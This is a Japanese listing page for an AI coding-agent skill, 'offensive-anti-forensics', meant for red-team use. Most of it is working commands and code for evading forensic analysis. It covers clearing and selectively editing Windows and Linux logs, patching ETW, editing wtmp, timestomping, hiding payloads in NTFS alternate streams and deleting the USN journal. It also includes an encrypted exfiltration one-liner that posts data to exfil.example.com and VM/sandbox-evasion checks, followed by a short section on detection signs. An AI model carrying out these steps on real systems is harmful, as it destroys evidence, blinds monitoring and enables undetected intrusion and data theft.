mcpField
O
offensive-anti-forensics

offensive-anti-forensics

github.com/snailsploitセキュリティ9.7k129 回インストール2 週間前に更新
リポジトリ

offensive-anti-forensics について

Windows と Linux のフォレンジック痕跡の把握と操作を扱う、レッドチーム向けのリファレンススキルです。防御側から見える兆候も取り上げ、許可された演習と操作記録を前提としています。

主な機能

  1. 01Windows と Linux のログ痕跡の扱い
  2. 02タイムスタンプとファイルシステム痕跡の操作
  3. 03メモリとネットワーク証拠の考慮事項
  4. 04防御側の検知指標

活用シーン

  1. 01許可されたレッドチーム演習の痕跡処理の計画
  2. 02演習前の証拠源の確認
  3. 03フォレンジック分析者の視点での処理結果の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-anti-forensics

インストール後、Claude Code で/offensive-anti-forensicsを入力して読み込まれたか確認します。

詳細

攻撃的アンチフォレンジック

アンチフォレンジックとは、エンゲージメント中にフォレンジックアーティファクトを改ざん、破壊、または生成されないようにする行為です。レッドチームのオペレーターとして、あらゆる操作が証拠を生み出すものと考えます。ログ、タイムスタンプ、メモリ構造、ディスクメタデータ、ネットワークキャプチャは、すべて一連の経緯を物語ります。あなたの目的は、その筋書きをコントロールすることです。このスキルでは、Windows および Linux のターゲットで遭遇する主な証拠のカテゴリ、それぞれを操作する手法、そしてクリーンアップが不完全な場合に熟練したフォレンジックアナリストが何を調べるかを理解するための防御側の視点を扱います。

許可された範囲内で作業してください。ここで紹介するすべての手法は、ターゲットシステムでこれらの操作を実行する書面による許可を得ていることを前提としています。何をいつ消去したかを記録してください。エンゲージメントレポートには、ブルーチームが検知ベースラインを再構築できるよう、破壊したアーティファクトを記載する必要があります。

クイックワークフロー

  1. ペイロードを実行する前にログ記録インフラストラクチャを調査し、証拠を生成するものを特定します。
  2. 可能な限り早い安全な機会に、テレメトリソース(ETW、Sysmon、auditd)を無効化するか、検知不能にします。
  3. 可能な場合はインメモリ技術を使用し、痕跡を最小限に抑えて操作を実行します。
  4. 触れたファイルのタイムスタンプを操作し、周辺のファイルシステムの動作に紛れ込ませます。
  5. ログは選択的に消去または編集します。ログを一括削除するより、外科的な変更のほうが目立ちません。
  6. ライブフォレンジックが行われると考える理由がある場合は、メモリアーティファクトを削除します。
  7. フォレンジックアナリストが調べるのと同じアーティファクトを確認して、クリーンアップを検証します。

Windows イベントログの消去

Windows イベントログは、Windows ターゲットにおける主要な証拠ソースです。Security、System、PowerShell、Sysmon/Operational チャネルには、認証、プロセス作成、コマンド実行のイベントが記録されます。

Wevtutil を使う方法

クリーンアップの影響範囲を抑えるため、すべてのログではなく、特定のチャネルを消去します。

rem Clear Security log only
wevtutil cl Security

rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"

rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
PowerShell Clear-EventLog
# Clear classic logs
Clear-EventLog -LogName Security, System, Application

# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
    wevtutil cl $_.LogName 2>$null
}

# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
    $_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
ETW プロバイダーのパッチ適用

Windows のイベントトレーシングは、ほとんどのログ記録を支えています。プロセス内の ETW プロバイダーにパッチを適用すると、ログ生成を発生源で防止でき、事後に消去するよりも目立ちません。

// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

Linux ログの消去

Linux のログ記録は、ディストリビューションと構成によって異なります。syslog/rsyslog、systemd ジャーナル、認証ログ、そしてバイナリの utmp/wtmp/btmp ファイルに保存されるログイン記録に対処する必要があります。

Syslog と認証ログの操作
# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure

# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog

# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log

# Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
    if file "$f" | grep -q gzip; then
        gunzip "$f"
        sed -i '/10\.10\.14\.5/d' "${f%.gz}"
        gzip "${f%.gz}"
    else
        sed -i '/10\.10\.14\.5/d' "$f"
    fi
done
Systemd ジャーナルの消去
# Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s

# Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald

# Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10M
utmp/wtmp/btmp のバイナリ編集

これらのバイナリファイルにはログインセッションが記録されます。last や who などのツールは、これらのファイルを読み取ります。sed では編集できないため、専用ユーティリティか、バイナリを直接操作する必要があります。

/* utmp_editor.c -- remove a specific entry from utmp/wtmp
 * Compile: gcc -o utmp_editor utmp_editor.c
 * Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>

int main(int argc, char *argv[]) {
    if (argc != 3) return 1;
    FILE *fp = fopen(argv[1], "r+b");
    FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
    struct utmp entry;
    while (fread(&entry, sizeof(entry), 1, fp) == 1) {
        if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
            fwrite(&entry, sizeof(entry), 1, tmp);
        }
    }
    fclose(fp); fclose(tmp);
    rename("/tmp/.utmp_clean", argv[1]);
    return 0;
}
# Quick approach using utmpdump (available on most distros)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt

タイムスタンプの操作

フォレンジックのタイムライン分析では、ファイルシステム全体にわたるファイルの変更時刻、アクセス時刻、作成時刻、エントリー変更時刻(MACE)を相関させます。これらのタイムスタンプを操作すると、タイムラインの再構築を妨げたり、複雑にしたりできます。

Windows Timestomp
# Native PowerShell timestamp modification
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"

# Match timestamps to a legitimate system file
$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
# Metasploit Timestomp via Meterpreter
# meterpreter> timestomp C:\\Windows\\Temp\\payload.exe -f C:\\Windows\\System32\\notepad.exe
# This copies all MACE values from notepad.exe to your payload

# SetMACE via direct NTFS manipulation (bypasses standard API logging)
# Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
# and $FILE_NAME attributes in the MFT directly
Linux のタイムスタンプ操作
# Set specific timestamps using touch
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload  # access time only
touch -m -t 202501150830.00 /tmp/payload  # modification time only

# Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/payload

# Modify ctime (change time) -- requires debugfs on ext4
# ctime cannot be set via standard APIs, which forensic analysts know
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"

# Recursive timestamp normalization for a directory of tools
find /opt/tools -type f -exec touch -r /usr/bin/ls {} \;

ファイルシステムのアンチフォレンジック

NTFS 代替データストリーム

NTFS ADS を使うと、ファイルの表示サイズや内容を変えずにデータをファイルに付加できます。標準のディレクトリ一覧には ADS の内容は表示されません。

rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe

rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"

rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt

rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *
安全な削除
rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\

rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Temp
# Linux: shred overwrites file content before unlinking
shred -vfz -n 3 /tmp/payload

# Secure delete then remove
shred -u /tmp/payload

# Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync

# For SSDs, TRIM complicates recovery but does not guarantee destruction
fstrim -v /

ディスクアーティファクトの操作

MFT と USN ジャーナル

NTFS のマスターファイルテーブルには、削除済みファイルも含め、すべてのファイルのメタデータが記録されます。USN(更新シーケンス番号)ジャーナルには、ボリューム上のファイルに対するすべての変更が記録されます。どちらも、フォレンジックにおける価値の高い情報源です。

rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:

rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv

rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:
# MFT entries for deleted files persist until overwritten
# Filling the volume forces MFT entry reuse
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }

メモリアーティファクトの削除

ライブフォレンジックやメモリキャプチャを使うと、プロセスメモリから認証情報、コマンド履歴、ロード済みモジュール、ネットワーク接続を復元できる場合があります。

# Clear PowerShell command history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# Remove credential artifacts from LSASS (risky -- may crash the process)
# Preferred: avoid dumping creds to disk in the first place -- use in-memory-only tools
# Clear bash history for current session
unset HISTFILE
export HISTSIZE=0
history -c
rm -f ~/.bash_history

# Prevent history writing for the session
set +o history

# Clear in-memory credentials (if using SSH agent)
ssh-add -D

# Overwrite /proc/self artifacts is not directly possible
# Instead, exec into a new process to shed memory artifacts
exec bash --norc --noprofile

ネットワークフォレンジックの回避

ネットワークキャプチャ、フローデータ、DNS ログからは、C2 通信、横方向の移動、データの持ち出しが明らかになる可能性があります。トラフィックを暗号化し、正規のプロトコルに紛れ込み、信頼できるインフラストラクチャを利用することで、これらを回避できます。

# DNS-over-HTTPS for C2 resolution -- avoids DNS logging at the network layer
# Example: configure a tool to resolve C2 domains via DoH
doh_resolvers:
  - https://cloudflare-dns.com/dns-query
  - https://dns.google/dns-query

# Encapsulate C2 in HTTPS to blend with legitimate web traffic
# Use domain fronting or legitimate CDN endpoints
# See offensive-c2-frameworks skill for detailed C2 traffic shaping
# SSH tunneling to encrypt lateral movement traffic
ssh -D 9050 -f -N [email protected]
proxychains nmap -sT 172.16.0.0/24

# Encrypt exfiltrated data before transfer
tar czf - /sensitive/data | openssl enc -aes-256-cbc -pbkdf2 -pass pass:ExfilKey | \
    curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload

VM およびサンドボックスの検出

マルウェアサンドボックスやフォレンジック分析用 VM には、検出可能な特徴があります。レッドチームの活動中は、分析環境でペイロードの動作を変える、あるいはまったく動作させない必要がある場合があります。

// Common VM detection checks
using System.Management;

public static bool IsVirtualMachine() {
    using (var searcher = new ManagementObjectSearcher(
        "SELECT * FROM Win32_ComputerSystem")) {
        foreach (var item in searcher.Get()) {
            string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
            string model = item["Model"]?.ToString().ToLower() ?? "";
            if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
                model.Contains("virtual") || manufacturer.Contains("xen"))
                return true;
        }
    }
    // Check for VM-specific processes
    string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
    foreach (var proc in Process.GetProcesses()) {
        if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
            return true;
    }
    return false;
}
# Quick sandbox evasion checks
$checks = @{
    LowMemory    = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB
    FewCores     = (Get-CimInstance Win32_Processor).NumberOfCores -lt 2
    SmallDisk    = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum -lt 60GB
    RecentBoot   = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddMinutes(-5)
    NoUserFiles  = (Get-ChildItem "$env:USERPROFILE\Documents" -ErrorAction SilentlyContinue).Count -lt 3
}
if ($checks.Values -contains $true) {
    Write-Host "Potential sandbox detected"
    exit
}

検出/防御側の視点

フォレンジック分析担当者や SOC チームは、アンチフォレンジック活動の兆候として次の項目を確認します。

  • イベントログの欠落:イベント ID 1102(Security ログの消去)とイベント ID 104(System ログの消去)は、それ自体が記録されます。ログを消去すると、消去の証拠が残ります。
  • タイムスタンプの不整合:MFT 内の $STANDARD_INFORMATION と $FILE_NAME のタイムスタンプが一致しない場合、タイムスタンプの偽装を示しています。$FILE_NAME 属性は変更が難しく、元の値が残っていることがよくあります。
  • USN ジャーナルの削除:USN ジャーナルが存在しない、または作成日がごく最近のジャーナルがある場合、意図的な破壊を示します。
  • ログファイルサイズの異常:変更日時が最近なのにサイズがゼロまたはごく小さいログファイルは、切り詰められたことを示しています。
  • シェル履歴の欠落:.bash_history が存在しない、または変更日時が最近なのに内容がない履歴ファイル。
  • Sysmon EventID 2 はファイル作成日時の変更を記録し、タイムスタンプ偽装の操作を直接検出します。
  • ETW パッチの検出:ntdll をスキャンして、インラインフックや EtwEventWrite の RET 命令を探します。
  • ADS の検出:Streams.exe (Sysinternals) や PowerShell の Get-Item -Stream などのツールで、代替データストリームを列挙します。
  • Prefetch と Shimcache:これらの Windows アーティファクトは実行ファイルを削除した後も残り、クリーンアップ時に見落とされることがよくあります。

活動時のチートシート

アーティファクトのカテゴリWindows の手法Linux の手法MITRE ID
イベント/Syslog の消去wevtutil cl / Clear-EventLogtruncate -s 0 / sed -iT1070.001
ログイン記録N/A (Security log)utmpdump edit / wtmp binary editT1070.002
コマンド履歴Remove PSReadline historyunset HISTFILE / history -cT1070.003
ファイルの削除sdelete / cipher /wshred -u / dd overwriteT1070.004
タイムスタンプの偽装PowerShell Set / Timestomp / SetMACEtouch -r / debugfs ctimeT1070.006
ETW の無効化Patch EtwEventWrite / Invoke-Phant0mN/AT1562.001
NTFS ADS による隠蔽type > file:streamN/A (ext4 xattr for similar)T1564.004
ディスクアーティファクトfsutil usn deletejournaldebugfs / fstrimT1070.008
ネットワークの回避HTTPS C2 / DoHSSH tunnels / encrypted exfilT1573
VM/サンドボックスの検出WMI queries / process checksdmidecode / lshw checksT1497.001

主な参考資料

コメント